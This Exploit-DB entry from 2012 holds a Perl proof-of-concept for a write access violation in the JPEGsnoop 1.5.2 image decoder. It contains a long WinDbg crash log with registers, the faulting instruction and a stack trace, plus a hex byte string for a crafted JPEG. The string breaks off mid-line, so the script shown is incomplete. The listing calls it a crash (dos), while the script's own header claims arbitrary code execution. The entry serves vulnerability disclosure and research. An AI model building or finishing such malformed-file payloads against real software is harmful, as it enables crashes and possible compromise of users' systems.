Exploit-DB #21739
Description: JPEGsnoop 1.5.2 - WriteAV Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-04
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl

# JPEGsnoop 1.5.2 <= WriteAV Arbitrary Code Execution 

# Author: Jean Pascal Pereira <pereira@secbiz.de>

# Vendor URI: http://sourceforge.net/projects/jpegsnoop/

# Vendor Description: 
# JPEGsnoop is a detailed JPEG image decoder and analysis tool.
# It reports all image metadata and can even help identify if an image has been edited.

# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: C:\JPEGsnoop.exe C:\research\JPEGsnoop\crafted.jpeg
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: [PII_REDACTED]   JPEGsnoop.exe
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\WINSPOOL.DRV
# ModLoad: 7df70000 7df92000   C:\WINDOWS\system32\oledlg.dll
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
# ModLoad: 3d930000 3da16000   C:\WINDOWS\system32\WININET.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\Normaliz.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\urlmon.dll
# ModLoad: 3dfd0000 3e1bb000   C:\WINDOWS\system32\iertutil.dll
# (500.98c): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74[PII_REDACTED]c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 74e30000 74e9d000   C:\WINDOWS\system32\RICHED20.DLL
# ModLoad: 77920000 77a13000   C:\WINDOWS\system32\SETUPAPI.dll
# (500.98c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=fffcc400 ebx=00000000 ecx=00dafa00 edx=00dc5a00 esi=00da012c edi=003f7540
# eip=0040c8ae esp=0012ed70 ebp=0012edb0 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# *** WARNING: Unable to verify checksum for JPEGsnoop.exe
# *** ERROR: Module load completed but symbols could not be loaded for JPEGsnoop.exe
# JPEGsnoop+0xc8ae:
# 0040c8ae 66890c42        mov     word ptr [edx+eax*2],cx  ds:0023:00d5e200=????
# 0:000> g;r;!exploitable -v;q
# (500.98c): Access violation - code c0000005 (!!! second chance !!!)
# eax=fffcc400 ebx=00000000 ecx=00dafa00 edx=00dc5a00 esi=00da012c edi=003f7540
# eip=0040c8ae esp=0012ed70 ebp=0012edb0 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
# JPEGsnoop+0xc8ae:
# 0040c8ae 66890c42        mov     word ptr [edx+eax*2],cx  ds:0023:00d5e200=????
# HostMachine\HostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# Exception Faulting Address: 0xd5e200
# Second Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Write Access Violation

# Exception Hash (Major/Minor): 0x7d7f6b1c.0x5d6b5560

# Stack Trace:
# JPEGsnoop+0xc8ae
# JPEGsnoop+0xe066
# JPEGsnoop+0x28a37
# JPEGsnoop+0x2f741
# JPEGsnoop+0x35423
# JPEGsnoop+0x3551f
# JPEGsnoop+0x36511
# JPEGsnoop+0x6c637
# JPEGsnoop+0x6fe1a
# JPEGsnoop+0x656a1
# Instruction Address: 0x[PII_REDACTED]40c8ae

# Proof of Concept:

my $crafted = 

"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xFF\xDB\x00\x43".
"\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12".
"\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29".
"\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09".
"\x09\x0C\x0B\x0C\x18\x0D\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32".
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32".
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x01\xDF\x01\x72\x03".
"\x01\xA7\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00".
"\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05\x12\x21".
"\x31\x41\x06\x13\x51\x61\x07\x22\x71\x1